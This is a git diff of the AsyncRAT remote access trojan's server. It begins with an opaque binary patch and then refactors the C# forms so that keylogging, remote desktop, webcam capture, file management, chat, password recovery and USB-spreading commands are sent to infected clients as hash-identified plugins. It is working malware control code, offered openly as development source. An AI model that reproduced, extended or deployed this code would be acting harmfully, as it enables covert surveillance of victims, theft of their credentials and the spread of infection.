zloNy?q&B#cKUmjjCj8rhuK^tEx;9(i$KLeVNz{Na-{0KF!ua3>BA$w)>t@3=V@i{k zeHkF-x*EH$&29b~o?|I>Rj40M+hXG?s-NRzFG$+bu*Os)^(xuH+j0I06-W zrUgHOm8i;;y7eJp(v&C!+NjZ$l!ZGDr`i2u)*;O}Hu{u}O0CP(&8{X~Y$exv>zS;D zV@{bPFfErU^_e>uw*jV%3hZ-qQ%#pqy*NvZHkFMUi4zr5M$;U$g_uQW=^;3rzt~eq z%<>-fXTZnEIAgY&?#+=JcwamZ{H+e9* z5j{nP5noly3lY=43hWc1h-|D;`mg z1(?zhA7UK)K*q0j;aDaD_BD#XAD8$6fZVl=4FlK+rN9(fG2>WV%&Piw`#R=d4 zf}La0k=za7#NQ2|p7RAv`$iA}u_b8AZ5_*hu+rm;da|EF7vg`1Vr7!Lt%FBuCw%G# zSnYxH(R(D9VY${GnCy^ptv%4-kaDd(FvTI|T6+LvA$8?idjOskQm(ZJE_6t_)*isP zNU2U1ZdjO6Wu3TkJx(Bh#A9=3SpxdqRMnm=sg;BBR@JRFt^U=}F_poEIIGWj~ zMi<8QNBkWFtnEz%xT@ZV_NzloG zST{_y3Sz>TP>u-sZ)HG4qGJV?CY%Ep-kyR&gx~1&2j6-crd3ZlFayXb^Hwgu1%7H6 z=8_!fKtr{C8!qaZk6&O=1U>1!N&m- zce@j$_|TOfMd0-G7{>xrP_qbXBs=m!q{+S$WS}V&rT9T$_BIFte=qQ9|AwcCbgIf* ze2VB!q#E=Po+p+~F67QQO}ea*JNs$ejp{igOC35?;1k_*PbsHzrmRF?Wl0^CQY)P9 zV<|9S&OuDNsTcDp?=+-SGGb0P6-FVM{wLa149+x#RJt4b6n7E0r4Wi^#pXQvIM-s_ zNpT!#O&e95x+A2JLPyz&spK|FrBBgTvaFChS#gOgLale7&Y17co2rmIqtd2pDyX8< zdL(npZSz^8x+&=L^NH{jH-%*B&Xw>-sKbv#Y` z%$HR@M6c)@-=Hx2;*eT^&z28WHbfRPkvY`Ofems38E)cb<9!&;;c37c$G3RtH7pF( zoVVK8pQbK%e`HlRv#*X?r-Qz^k3iTL$9ipstk@U+@uK!w+pO4(UwX&QnqA&YS~>@`KP~{`2768 zN-?wMKc|Xg+vw@$g;p&4jlbYN!I| z0dS5sR4Y$5)PVC5aBh7U%8xdTQ|vev6lZsAW*;c@UTu$6^QG0UxP89W*$Jt>5TixVk!qrXbY)H?32Ik3fGS#Yze-w6Cke+?4$gHf73pe`$vp5*I z{MBN)-zf(-{vb-rswzEAE&hn-aHSVVD~Ta-3hmp|EVb+b4O`y_>TJcXy`2=S)KLbixixZ;{Cq|z-F}iGDxc1FA-*ioO_gI(K z3rh}2P5}N2K9n_0cX3N`F?zOP4z$hW^C!_?@Wm9Q>ktzmT-~2vfyZCw7v>2%MYV_> zJ?k~lB6b;pX*2a~S&_Iv&sG)D4*RE%hx2W??4DE+1B5 zmwyLFCHHw0Hw<&h0UWIY_7?$i#{hySrkCDR(BoeMD`eSUmXc~~s%a^IPGQZtM}$p2 zblKTgET`EA)LufTJIH@`XlD3$TdEeJuMYo>6{6W9AnTZHUI z+&x|;e5JKsy)5Y~4V&&rT+G5#A*`3er3`Npa6AwcDSsLADzT^F zueV%3OG_nhBvemJ3Dmu)7PG2ynYzUxmZ`<9u(s{kq1HCO?*S|2BPKMs{8e1R8(jW+ zN5NkWXR`pz;uwjYrTNsjG~NT>3}1xs95c*G5#Hl>zc8Rw$Ma(1Ngf=T2wt3ovJ{x1}sVca{HpI6%MkH$_cKglt~` zci{G*-9LEtp!9tKhF=bI>9?fyhk~r<$qF0xTpVOQ32?%6Q?T0#(_;aK`;2bulk^7M zYtoI<`VC_9b0*8Lvlw0%Vt9|i@YBTbK7rq@5RUL)6FAnxEv_{fz8Gfsv~WHut=}JJ zKi?bSTE|5Gfb{MS>C3Yb?%ksvhMyJqGe6@^=r8(Sacy~kd_nGGTljm>u*T2*+AJC- z_!kDi5B@tm+^(_yE2Z>NzyNJFm>(BwXN&wZ7Tflv;HNPzO9Kp_(rjOpZZ{4EP5eIK zpcbIl!lyzejg7M8F7f0IVb=UX^ynShD?vUlmzUoL8#YPlAK@jACq89yjPbt;>JDeE zON-RD08=`mmdmb+Fy#Tpl7c@N;s3NBT(?uy*% zG0lv&&$D58ZSXySkN6p0FZjI?#@AU4H-{MBM+^@H7_Kg7_?p3RH#Bb;{vG5sdP2Vw z@FD&00pG9R4cM*U3s|Gy2e?%Kkmo#_sK_3Ndq3uh(4X|{0AIzA1tOv$A{rv1 zAtD+gq9Gz0ri+G%XsDu_%RlL<5`KO<9+G&bXIKR-CdYcMrGK~x9mdZ7;1{5+J@19V5R>^q(S zJs{L8{_PdDc&GD=iqh&M6G6S`P#-KeLH)E??}R5ve^wN|qW!{CM!reX9;i1!jW1Ha z_k`)9BJ~$fIW19?H9nwuE9i2E`o5J$yuC}P5$f?&fZFR&M=?vI^hJky3GGGcq(g1= z`MgnDd%kMDtNaa5CG8PvgvyOyc*fBC9V#Z&XB^1}p&oI{4g`ohYw@y*@7L<=gSsk{y{5p~qKCIW^ zg$hOewQNuyM=v|nE7~~kIQoww^;c~?S$Lqp^?p@$lqS#?hYEO(;+3a+9cn9jTTcrw zRFYrtBh%1&hnivW57v?nHN{#^=h3i34F$%6dcQ-xV$^#l(LXuVit@?c^Xa%ly-;>o zpG+ZScDCg&Mg=uci$nd@e?*@`$FX1GvIo$k3-GL3QBR}n0;-uVly%CtoZ=L7s30th z(}fPz1fN|<(;aFqe0?F!bEqlsU?VMds2Q-Vkybj?Es+boP4r=hy3W%K>f=JaqJ1tj z3D1I$sWO=XP4u)-hvh# z_pS0yr-4>g@3lymx0O8DQn8ltzLwPH10QD`QMywahZ}u*t?>W@#<#&Mku|xeK zIH&mE93K?p;Zr73vTz(>|}SqWC3Tc8HEz zkAoUflvNh_yuO;=<4{$RMaF8n)1h9j__)4??sBNtDmsicbe}{0vHa`awe%5(@>YBk z)F*^G2+u#~y_`PhP_LJN7t~iA>JPyez3b>-97+qF1ogB-&Go(J?W7kRYPs(hpk8#S zZQ2{&F8YZ>^=ZEY^$Vd6!SjFiuBYEPl%byj^(RO2hOL-f41$mpSuJJg3li;N`Itde@tUN21*>V0&h)ok`s zkE^VY282>}_R(IUu17{QsgJH5C3(vz$@e*uajd$1XiOuMkEit2GKLM|66}mHelB>* z;?jQu)aeg`pEQ}{hU-Ox;-qnS;r$iEjI^SlTVCOxKrP+TV=Yg>$bR5ryBz$tG4=>Duv(Zs;lrbdwnj>8`!7o z6!Y@Q?*p*YLr+QT9|K>btHcj#Ebeysz&3#^1YRz1v%m!4SV{@LTi`(& z!S3!LEx@ksAbkb9x%-9xAbkh9@)h7XjcS#6m1?)Pz?z0r0&_;RG3A#4pJOb>OVz(e z7QYEHodP$5BQgR*G(OOabIy^9G-~}rXgP4+wS}-B90L4K=r%lG9I5yKO6P@-0vAg( zUg?j~Q|2c{=VyVpdcP$2*XTj*-SiCPy8_GUe(l$u=Y{iqfiDSs1@I&EuXGPee<}EH z1pYzbUjQF4H0@I;H8r+8sy#~o5vkE0)wJ>{+LN%nNjpa0w`u?%*X9ELMC@U!xU@}s zUF(gk*G9C*%C~CYmYyD?^Mbn|`86|5b2T1|o3t;|AoOpbYXE;>To3qwaWmj5oGfob zFYX3>l(_)H0erIjF)buI*|t|T4ccDUUI*vbfHgjiUMH`>J>`GZF4TV# zGW6+y0sS|SsnB1i+bU{-S60OI%Z0xg5NBk4ab&9gC&{J&aGLUz=O?-MU?#1m|bS@yF3hZ^Q z|Lns#3mOjV(*XneG049OxX>6&$Mk0_OnOu|Bjv_qiN>iCjZ-BKC!-e}?e)=l#-rL) z?;_)verK@5_%>=?X8cg+X!)W3m&oP7xpYM1(+Wq$CgXlR?s**cU+vkBy01ib7<07| zV>vwjZ>9}-hHY9?_y)kEn0;+py=OV#Vb3klW0fB?4(g9sABE)BvQI+W!`QVj|8wAE zz|o98-&c&y+H2-x#)I0kzNZbp!BOWoIBxHO2bRMUtNeLr`-ycFr&BIXhzBCZQ1GXy zYa9P+F#os4<=V#re+K-!pypwY&oiRk6|VDGxC_z>cnQq`Ttt@ww$oz3<+KcNC9MQp zOP2$7(FVXxbOqoR+6K6dl7Kz5)6cR@Y|IG&yaJfEHiY!cWiaK6AL0^cF9 zQ{WW>yXgmz-$g$&ucupRn(sr}KftQT1imV;&0tPK;E2Hc1wJb96@i+EWzG|r5I7?6 zeu0k)d_|z<6-j|@0uus91fKMBDFqnD1TGS|P2jM=BLa^LJSmWZA}?@}z- zl?Qpt3+TtcAo3H@{EAknogTOt@I~uVz*$xs;Kon~;L7q9fQKWi0B`iH1N2vH1pHO` z7C>((0l3n~lDo8CK%c$~@L`R0?(y4zwUIpFFDmu|`YWyh{8jk~pf_|Q;7Z>ufV;Fi z0Db!313s+X4YP7Cl} zj7|&DJ017gD#2e1sMF=pq|rJ+9d~1J=MHnB8u)r-XpJ@i>iC)cc;K4=b=r)RJMNDG z>U0I}3F(+G=Yex2ppKs^oe#VZP{*C!2H+_`op$2Mn1=Yj0C*Z%U!#6N?6NS2G_nEl zU=DY@HQEiRQx^C5G`#nD5%4_r2O13m>U0&xS*Ja?kFL>PKm&ITCji#L5(E3$^Wc?X zw73pJZ+y}_us0pm!XVcwOvKOx++#)hT%InQ&02#n^b`=M@Lqo*6Ytkdg$Pej7- zdO3Cm74Uey7Be7r$%46Cx6YitwS_KOkxAuKiFE4fj9EuPadv$dsd*4){%=FDxKGjr~&nHRHL=#o`- z&tN*afG$~^OmJ;-ONRRckLML-=0C_tmselB~^eV zb2-LclZsZfr*Z>!jwcvmyxksTgoE5c*9~U!ss5yl%<@F02cQ#X)2mIe5Fh zCzIjOU@NIT$tEq$+WkUyCay{@9?BU0So?uyiu-xS7o#Kzmu4oT%E*J9t@gTk-l}nA{wdHcj z{_W|Zu2kMFT4ZMvJ<0w=c2`MDS0W3yEX7}4OYX7V1%*27f(<;^>`bXvp%7EPH`O>~<)hhv5DMpc; z7n~BcILM0wkaC#phPIqT@LEDDEQbb31^sV#?0TckL2@=4d?;H(;$ zFGU$%*|J4yVSd5(fG+c8ZF&%+&J%f6B7>}uZSF~fi~WF# z@YU!(vI_=8FcnH`ZM@sBa?A{PF`4LBtD!ieIt|zXUzb%etATo8e8H4YD@Ro*wgLkr><SUHywa;3T9U92noU~HiNi4NjrMLjYhml!42zN3y zkc7L^OJ$;aGe=>%0BGTlL$kp)RrqyYPBd(7=}`j1ZSZ{W(2_{(6Bt2 zM&O{c>#=*vB3|===r|G+(k>HAb|kxZsVoe!mAr+Zj%?P>7WYPQV8K15QOY&DwoceD z=bh6D3pcaR0p+sF#(99XW%6tDMMdqYL|+Em!Blsypu4cxayPQ}faBvciVM4dV!6uw z@IUYTavYxR&akHx$$?Q+Qw&fwl6~34z>cBj({?Ah!o-#}mQ}9DhEfr{wNw~Kg~Cd+ zTG6~|RM<*q>(`c3w2Yb~!~rFOO-xMa+w*e>Ut&{wz$e1(ex z6)Him(50zN53&m;J3$p@CNh#kJKg5y_%v3CHW(yl=rz4<_*1$&l38V4q1ffDVxS|6 zo7W{_3}!eS$Nhl$ZJe>d#+FTthL6;#NalHo>f>ZoI5A0CiE=HL$+nzRy(4o~Dr;x> z@Jj>OV&mdC^IXO)8O**NF}9>2%DBq1NZM=d6dI9YoU9b)jH8`hBCKV}Jo|Q?jUV}{ zJcyHjHqYMW^+YQ3;ZHg!2x^Qzf3L-9F(W51h=*PbVboAh-(S4$~9kMB>S9le- zTyeSOJpXEY>>zrUMorx0!5gV5;LtTb3%DEiF3(anAqVM#)$PFdpuK_y8ry@Ktb=VT z>MLg-B~fco**dNpRwW(FmqJGxt#hwv-01qQl1Mk?1~3vut(61Nz}|7SG?w*d!0&f+ z$BpK?wAOQd)?3iJ3U#?Y`w8~I?~bSZs~xT6FUXR21tN<4?YOfmSlOt)_@?2W@dDDy zS3}nxD%P*=b^LrsMpYy2W^uV_h@_19h&sQ8SaZ|hxmh|E}fIc(59ex`SnroB46XjP6hIA@X zL_zjT7CwV_%2%NbDGg=pFT%63Yug_A&G{XNz84Ces;v1vd19Jo88OnlKq3()!whur z>hRS)F^aB0;RJ6OFg(F)`8?4MT)en19}d@n8SMx|GHm(`uq`h^HXyLf92;GwMaMv< zlDHMi@M)IEr&!>X`A{J|HnJI<=ol+Tj8@{0HwXt!SF(Y6*yrM|-V7?xyi6lgO2(|`vZUrEk zM7bU=i+QwgWcX*1;nyR>ze4jCH}8w-!VUUN?!ts{*s}0=LW>UnDKh+56MhR%Fu2Dl z4{Q%GmNZHCp)M}00+*1wl&OnfU4rUjs!ISD%V$JW6W|E1Pmhk#QBkX_&|#cb2fe}; zDG$q7FrLRlxhn`uVAH!p@LFWV9~mi&j6}R_JN|4VtR2*usH^d#JbI-b9U14vxQ|Q- za;Kvs=S4;uSi(Z*z=@7rSZ7&fF>iGEAh#GDnO>)cdNSJ4(GE8k8JXn;Rfz`{qQ-c=168?8Z1$CakboKsShRz&uor(6 zYh;zsbso~f9G%gQ0F1;41bpy7AxbGad<-qKQ!oZ$4gm|*!3eXN(cyb6pC%DExuQbT zIAkZ{W%7|EE}noEovgxfa+%K`9TWD4@tF`tnCl3C=)!yfz%arsDZIRn%kHp0reom4 zk&!`}C14w9SqFhj7;n9ffpyX0`{9oJ@xY5wI6N{k1iQi$>MFRYXa{7%RyZ6@;azq_ z*~osj8r8|eMkp7ISUi4LMn^`ZDi1dr4kA>BACUhK>ShgwF*^JZ25R_IHLA}Kv7y5c z!fSBP13dT`TFmUp9K{Gz-OrQFu&gg!y=B9=nI~_u9$vWh+Q@eU^E_Ba2#+HHbO!wN z$HPp#@C<<7kOyxT5uPdo;C&!CkpbS~!4EW|Z9ZpF&`k>@!We&mvd%CgHJ~c+9mIFY zK-lXh{`6ZkrJFh~`#olKc*LnY8RCn;oWsm}fLy}Jr_d!HWIqN~tvf+>%@~Cv=wu!8;1fl}Q`D5^vWq6=1D{FaZ;g(IG*H7)=R^MT4UI1>KMJN3X-wiVoit z8NN-8BBl~geqt?b!XTp@Lt1nQDCQ5)3HWIq@fwHa2gNBVPJt&&hYmzEaBykS{bd+d zS2N5TJ}ANR00+81Y{aR~8;9>KVEkoH0N*lCoP89Bj~E+dFa&^U2P_2%oss>9g(??L9dSavY7= zm~mthUcd59$4{W}kML?K)i$s0=qldup6cA-xs-n<1+C#R#Uj4JpH2+%gN6#O6DyX) zX5v>!9=UJDEfD>1Qpb<@%Iyx~yXbm+lguf7DoUte>pI&zx3&AOdG?CH%Db;v|GtMR zUzyGZFPXQ6?~LWPtX{GuXAk1Ewn)?T{4e!C z#smCYDEXcI@aQh{RK*{lBszo7a?A1EbcEeI?8&#{ zx*EIxH6r&F&l{)I8xGt8f7Df8dIp6B&RGYzOnusM;Ws=I*bx^_1}m_i?!_LNKa-_a z7fShLk;7Ss_v0y)W~3Z%rFgc$Rt+}gA*IfMXKI=wGA-!0`Zp85hJ+9B<_7ztaQfrZ z5AF;&nkTu+__UP4`Kfpgab)n<^6;~qT{y8*IUv{mZMbZUl7 z;Y+j|Si%&aBME1yw{NHN`C90-Vf!FX zy?IxUm5npSkE3Ny_vY!ooFjGGU_IZN=*Q@%(fb%8Z}cdfUe9sM{~woO^*i1WPuKtb J{Ezd%{{`sDEd>Ao literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/Server/Forms/Form1.cs b/AsyncRAT-C#/Server/Forms/Form1.cs index 91b8819..ebc8eb9 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.cs @@ -16,6 +16,7 @@ using Server.Handle_Packet; using Server.Helper; using System.Security.Cryptography.X509Certificates; using System.Collections.Generic; +using System.Text; /* │ Author : NYAN CAT @@ -617,20 +618,19 @@ namespace Server private void RemoteDesktopToolStripMenuItem1_Click(object sender, EventArgs e) { - if (listView1.SelectedItems.Count > 0) + if (listView1.SelectedItems.Count > 0) { try { - //DLL Plugin - //msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - //msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginDesktop); MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("Option").AsString = "capture"; - msgpack.ForcePathObject("Quality").AsInteger = 30; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Command").AsString = "invoke"; + msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginDesktop.dll")); foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; + msgpack.ForcePathObject("Host").AsString = client.TcpClient.LocalEndPoint.ToString().Split(':')[0]; + msgpack.ForcePathObject("Port").AsString = client.TcpClient.LocalEndPoint.ToString().Split(':')[1]; this.BeginInvoke((MethodInvoker)(() => { FormRemoteDesktop remoteDesktop = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + client.ID]; @@ -650,7 +650,11 @@ namespace Server })); } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } } } @@ -661,8 +665,9 @@ namespace Server if (listView1.SelectedItems.Count > 0) { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "keyLogger"; - msgpack.ForcePathObject("isON").AsString = "true"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Command").AsString = "invoke"; + msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "LimeLogger.dll")); foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; @@ -675,8 +680,7 @@ namespace Server { Name = "keyLogger:" + client.ID, Text = "keyLogger:" + client.ID, - F = this, - Client = client + F = this }; KL.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); @@ -707,7 +711,7 @@ namespace Server Name = "chat:" + client.ID, Text = "chat:" + client.ID, F = this, - Client = client + ParentClient = client }; shell.Show(); } @@ -725,8 +729,9 @@ namespace Server if (listView1.SelectedItems.Count > 0) { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "fileManager"; - msgpack.ForcePathObject("Command").AsString = "getDrivers"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Command").AsString = "invoke"; + msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginFileManager.dll")); foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; @@ -740,8 +745,8 @@ namespace Server Name = "fileManager:" + client.ID, Text = "fileManager:" + client.ID, F = this, - Client = client, - FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "RemoteDesktop") + ParentClient = client, + FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "FileManager") }; fileManager.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); @@ -750,7 +755,11 @@ namespace Server } } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } } private void PasswordRecoveryToolStripMenuItem1_Click(object sender, EventArgs e) @@ -771,7 +780,11 @@ namespace Server new HandleLogs().Addmsg("Sending Password Recovery..", Color.Black); tabControl1.SelectedIndex = 1; } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } } } @@ -836,7 +849,7 @@ namespace Server try { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "usbSpread"; + msgpack.ForcePathObject("Packet").AsString = "usb"; msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginUsbSpread); foreach (ListViewItem itm in listView1.SelectedItems) { @@ -846,7 +859,11 @@ namespace Server new HandleLogs().Addmsg("Sending USB Spread..", Color.Black); tabControl1.SelectedIndex = 1; } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } } } @@ -1259,8 +1276,9 @@ namespace Server try { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "webcam"; - msgpack.ForcePathObject("Command").AsString = "getWebcams"; + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Command").AsString = "invoke"; + msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginCam.dll")); foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; @@ -1283,7 +1301,11 @@ namespace Server })); } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } } } } diff --git a/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs b/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs index 47dfb20..fd7f708 100644 --- a/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs @@ -42,6 +42,7 @@ | System.Windows.Forms.AnchorStyles.Right))); this.richTextBox1.BackColor = System.Drawing.SystemColors.Window; this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.richTextBox1.Enabled = false; this.richTextBox1.Location = new System.Drawing.Point(12, 12); this.richTextBox1.Name = "richTextBox1"; this.richTextBox1.ReadOnly = true; @@ -52,6 +53,7 @@ // textBox1 // this.textBox1.Dock = System.Windows.Forms.DockStyle.Bottom; + this.textBox1.Enabled = false; this.textBox1.Location = new System.Drawing.Point(0, 384); this.textBox1.Name = "textBox1"; this.textBox1.Size = new System.Drawing.Size(757, 26); @@ -60,7 +62,6 @@ // // timer1 // - this.timer1.Enabled = true; this.timer1.Interval = 1000; this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); // @@ -83,8 +84,8 @@ } #endregion - private System.Windows.Forms.TextBox textBox1; public System.Windows.Forms.RichTextBox richTextBox1; - private System.Windows.Forms.Timer timer1; + public System.Windows.Forms.Timer timer1; + public System.Windows.Forms.TextBox textBox1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormChat.cs b/AsyncRAT-C#/Server/Forms/FormChat.cs index e6187fe..d6aeddd 100644 --- a/AsyncRAT-C#/Server/Forms/FormChat.cs +++ b/AsyncRAT-C#/Server/Forms/FormChat.cs @@ -11,13 +11,17 @@ using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.Threading; +using Server.Helper; +using System.IO; namespace Server.Forms { public partial class FormChat : Form { public Form1 F { get; set; } - internal Clients Client { get; set; } + public Clients Client { get; set; } + public Clients ParentClient { get; set; } + private string Nickname = "Admin"; public FormChat() { @@ -28,34 +32,46 @@ namespace Server.Forms { if (e.KeyData == Keys.Enter && !string.IsNullOrWhiteSpace(textBox1.Text)) { - richTextBox1.AppendText("ME: " + textBox1.Text + Environment.NewLine); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "chatWriteInput"; - msgpack.ForcePathObject("Input").AsString = Nickname + ": " + textBox1.Text; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); - textBox1.Clear(); + try + { + richTextBox1.AppendText("ME: " + textBox1.Text + Environment.NewLine); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "chatWriteInput"; + msgpack.ForcePathObject("Input").AsString = Nickname + ": " + textBox1.Text; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + textBox1.Clear(); + } + catch { } } } private void FormChat_Load(object sender, EventArgs e) { - string nick = Interaction.InputBox("TYPE YOUR NICKNAME", "CHAT", "Admin"); - if (string.IsNullOrEmpty(nick)) - this.Close(); - else + try { - Nickname = nick; - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "chat"; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + string nick = Interaction.InputBox("TYPE YOUR NICKNAME", "CHAT", "Admin"); + if (string.IsNullOrEmpty(nick)) + this.Close(); + else + { + Nickname = nick; + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Command").AsString = "invoke"; + msgpack.ForcePathObject("Hash").AsString = Methods.GetHash(Path.Combine(Application.StartupPath, "Plugin", "PluginChat.dll")); + ThreadPool.QueueUserWorkItem(ParentClient.Send, msgpack.Encode2Bytes()); + } } + catch { } } private void FormChat_FormClosed(object sender, FormClosedEventArgs e) { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "chatExit"; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + try + { + Client?.Disconnected(); + } + catch { } } private void Timer1_Tick(object sender, EventArgs e) diff --git a/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs b/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs index f891333..438aac1 100644 --- a/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs +++ b/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs @@ -26,32 +26,40 @@ namespace Server.Forms public string FullFileName; public string ClientFullFileName; private bool IsUpload = false; - + public string FullPath { get; set; } public FormDownloadFile() { InitializeComponent(); } private void timer1_Tick(object sender, EventArgs e) { - if (!IsUpload) + if (Client.TcpClient.Connected) { - labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(Client.BytesRecevied)}"; - if (Client.BytesRecevied >= FileSize) + if (!IsUpload) { - labelsize.Text = "Downloaded"; - labelsize.ForeColor = Color.Green; - timer1.Stop(); + labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(Client.BytesRecevied)}"; + if (Client.BytesRecevied >= FileSize) + { + labelsize.Text = "Downloaded"; + labelsize.ForeColor = Color.Green; + timer1.Stop(); + } + } + else + { + labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(BytesSent)}"; + if (BytesSent >= FileSize) + { + labelsize.Text = "Uploaded"; + labelsize.ForeColor = Color.Green; + timer1.Stop(); + } } } else { - labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(BytesSent)}"; - if (BytesSent >= FileSize) - { - labelsize.Text = "Uploaded"; - labelsize.ForeColor = Color.Green; - timer1.Stop(); - } + Client.Disconnected(); + this.Close(); } } diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs b/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs index 37d2b7a..b786d48 100644 --- a/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs @@ -52,14 +52,14 @@ this.dELETEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.toolStripSeparator4 = new System.Windows.Forms.ToolStripSeparator(); this.createFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator(); + this.openClientFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.imageList1 = new System.Windows.Forms.ImageList(this.components); this.statusStrip1 = new System.Windows.Forms.StatusStrip(); this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel(); this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel(); this.toolStripStatusLabel3 = new System.Windows.Forms.ToolStripStatusLabel(); this.timer1 = new System.Windows.Forms.Timer(this.components); - this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator(); - this.openClientFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.contextMenuStrip1.SuspendLayout(); this.statusStrip1.SuspendLayout(); this.SuspendLayout(); @@ -75,6 +75,7 @@ this.columnHeader1, this.columnHeader2}); this.listView1.ContextMenuStrip = this.contextMenuStrip1; + this.listView1.Enabled = false; this.listView1.LargeImageList = this.imageList1; this.listView1.Location = new System.Drawing.Point(0, 1); this.listView1.Name = "listView1"; @@ -106,19 +107,19 @@ this.toolStripSeparator3, this.openClientFolderToolStripMenuItem}); this.contextMenuStrip1.Name = "contextMenuStrip1"; - this.contextMenuStrip1.Size = new System.Drawing.Size(241, 439); + this.contextMenuStrip1.Size = new System.Drawing.Size(233, 406); // // backToolStripMenuItem // this.backToolStripMenuItem.Name = "backToolStripMenuItem"; - this.backToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.backToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.backToolStripMenuItem.Text = "Back"; this.backToolStripMenuItem.Click += new System.EventHandler(this.backToolStripMenuItem_Click); // // rEFRESHToolStripMenuItem // this.rEFRESHToolStripMenuItem.Name = "rEFRESHToolStripMenuItem"; - this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.rEFRESHToolStripMenuItem.Text = "Refresh"; this.rEFRESHToolStripMenuItem.Click += new System.EventHandler(this.rEFRESHToolStripMenuItem_Click); // @@ -131,7 +132,7 @@ this.toolStripSeparator2, this.driversListsToolStripMenuItem}); this.gOTOToolStripMenuItem.Name = "gOTOToolStripMenuItem"; - this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(232, 32); 